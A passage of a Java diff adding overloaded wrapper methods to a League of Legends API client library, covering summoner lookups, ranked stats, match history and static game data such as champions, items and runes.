+     * @param summonerId The ID of the desired summoner
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(Region region, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(region.getEndpoint(), region.getName(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(getEndpoint(), getRegion(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerNames The names of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersByName(Region region, String summonerNames) throws RiotApiException {
+
+        return SummonerMethod.getSummonersByName(region.getEndpoint(), region.getName(), getKey(), summonerNames);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerNames The names of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersByName(String summonerNames) throws RiotApiException {
+
+        return SummonerMethod.getSummonersByName(getEndpoint(), getRegion(), getKey(), summonerNames);
+    }
+
+    /**
+     * Get summoner by name
+     *
+     * @param region The desired region
+     * @param summonerName The name of the desired summoner
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerByName(Region region, String summonerName) throws RiotApiException {
+
+        return SummonerMethod.getSummonersByName(region.getEndpoint(), region.getName(), getKey(), summonerName);
+    }
+
+    /**
+     * Get summoner by name
+     *
+     * @param summonerName The name of the desired summoner
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerByName(String summonerName) throws RiotApiException {
+
+        return SummonerMethod.getSummonersByName(getEndpoint(), getRegion(), getKey(), summonerName);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(Region region, long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerId The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerId The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(Region region, String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerId The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerIds A comma separated list of IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerIds A comma separated list of IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerId The IDs of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(Region region, long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerId The IDs of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(Region region, String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param region The desired region
+     * @param summonerIds A list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(Region region, long... summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param summonerIds A list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(long... summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param region The desired region
+     * @param summonerIds Comma-separated list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(Region region, String summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param summonerIds Comma-separated list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(String summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param region The desired region
+     * @param matchId The ID of the match
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(Region region, long matchId) throws RiotApiException {
+
+        return MatchMethod.getMatch(region.getEndpoint(), region.getName(), getKey(), matchId);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param matchId The ID of the match
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(long matchId) throws RiotApiException {
+
+        return MatchMethod.getMatch(getEndpoint(), getRegion(), getKey(), matchId);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param region The desired region
+     * @param matchId The ID of the match
+     * @param includeTimeline Flag indicating whether or not to include match timeline data
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(Region region, long matchId, boolean includeTimeline) throws RiotApiException {
+
+        return MatchMethod.getMatch(region.getEndpoint(), region.getName(), getKey(), matchId, includeTimeline);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param matchId The ID of the match
+     * @param includeTimeline Flag indicating whether or not to include match timeline data
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(long matchId, boolean includeTimeline) throws RiotApiException {
+
+        return MatchMethod.getMatch(getEndpoint(), getRegion(), getKey(), matchId, includeTimeline);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(Region region, long summonerId, String championIds, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, championIds, rankedQueues, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(Region region, long summonerId, String championIds, String rankedQueues, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, championIds, rankedQueues, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(Region region, long summonerId, String championIds, String rankedQueues) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, championIds, rankedQueues, -1, -1);
+    }
+    
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+   public PlayerHistory getMatchHistory(Region region, long summonerId, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+       return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, rankedQueues, beginIndex, endIndex);
+   }
+   
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+    * @param beginIndex The begin index to use for fetching games
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
+  public PlayerHistory getMatchHistory(Region region, long summonerId, String rankedQueues, int beginIndex) throws RiotApiException {
+
+      return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, rankedQueues, beginIndex, -1);
+  }
+
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @param beginIndex The begin index to use for fetching games
+    * @param endIndex The end index to use for fetching games
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
+   public PlayerHistory getMatchHistory(Region region, long summonerId, int beginIndex, int endIndex) throws RiotApiException {
+
+       return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, null, beginIndex, endIndex);
+   }
+
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @param beginIndex The begin index to use for fetching games
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
+   public PlayerHistory getMatchHistory(Region region, long summonerId, int beginIndex) throws RiotApiException {
+
+       return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, null, beginIndex, -1);
+   }
+
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
+    public PlayerHistory getMatchHistory(Region region, long summonerId) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, null, -1, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String championIds, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, championIds, rankedQueues, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String championIds, String rankedQueues, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, championIds, rankedQueues, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String championIds, String rankedQueues) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, championIds, rankedQueues, -1, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, rankedQueues, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String rankedQueues, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, rankedQueues, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, null, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, null, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, null, -1, -1);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList(Region region, String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(region.getName(), getKey(), locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList(String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(getRegion(), getKey(), locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(region.getName(), getKey(), null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList() throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(getRegion(), getKey(), null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(Region region, int id, String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(region.getName(), getKey(), id, locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(int id, String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(getRegion(), getKey(), id, locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(region.getName(), getKey(), id, null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(getRegion(), getKey(), id, null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList(Region region, String locale, String version, ItemListData itemListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(region.getName(), getKey(), locale, version, itemListData);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList(String locale, String version, ItemListData itemListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(getRegion(), getKey(), locale, version, itemListData);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(region.getName(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList() throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(getRegion(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(Region region, int id, String locale, String version, ItemData itemData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(region.getName(), getKey(), id, locale, version, itemData);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(int id, String locale, String version, ItemData itemData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(getRegion(), getKey(), id, locale, version, itemData);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Realm getDataRealm(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataRealm(region.getName(), getKey());
+    }
+
+    /**
+     *
+     */
+    public Realm getDataRealm() throws RiotApiException {
+
+        return StaticDataMethod.getDataRealm(getRegion(), getKey());
+    }
+
+    /**
+     *
+     */
+    public RuneList getDataRuneList(Region region, String locale, String version, RuneListData runeListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(region.getName(), getKey(), locale, version, runeListData);
+    }
+
+    /**
+     *
+     */
+    public RuneList getDataRuneList(String locale, String version, RuneListData runeListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(getRegion(), getKey(), locale, version, runeListData);
+    }
+
+    /**
+     *
+     */
+    public RuneList getDataRuneList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(region.getName(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public RuneList getDataRuneList() throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(getRegion(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(Region region, int id, String locale, String version, RuneData runeData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(region.getName(), getKey(), id, locale, version, runeData);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(int id, String locale, String version, RuneData runeData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(getRegion(), getKey(), id, locale, version, runeData);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList(Region region, String locale, String version, MasteryListData masteryListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(region.getName(), getKey(), locale, version, masteryListData);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList(String locale, String version, MasteryListData masteryListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(getRegion(), getKey(), locale, version, masteryListData);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(region.getName(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList() throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(getRegion(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(Region region, int id, String locale, String version, MasteryData masteryData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(region.getName(), getKey(), id, locale, version, masteryData);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(int id, String locale, String version, MasteryData masteryData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(getRegion(), getKey(), id, locale, version, masteryData);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList(Region region, String locale, String version, boolean dataById, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(region.getName(), getKey(), locale, version, dataById, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList(String locale, String version, boolean dataById, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(getRegion(), getKey(), locale, version, dataById, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(region.getName(), getKey(), null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList() throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(getRegion(), getKey(), null, null, false, null);
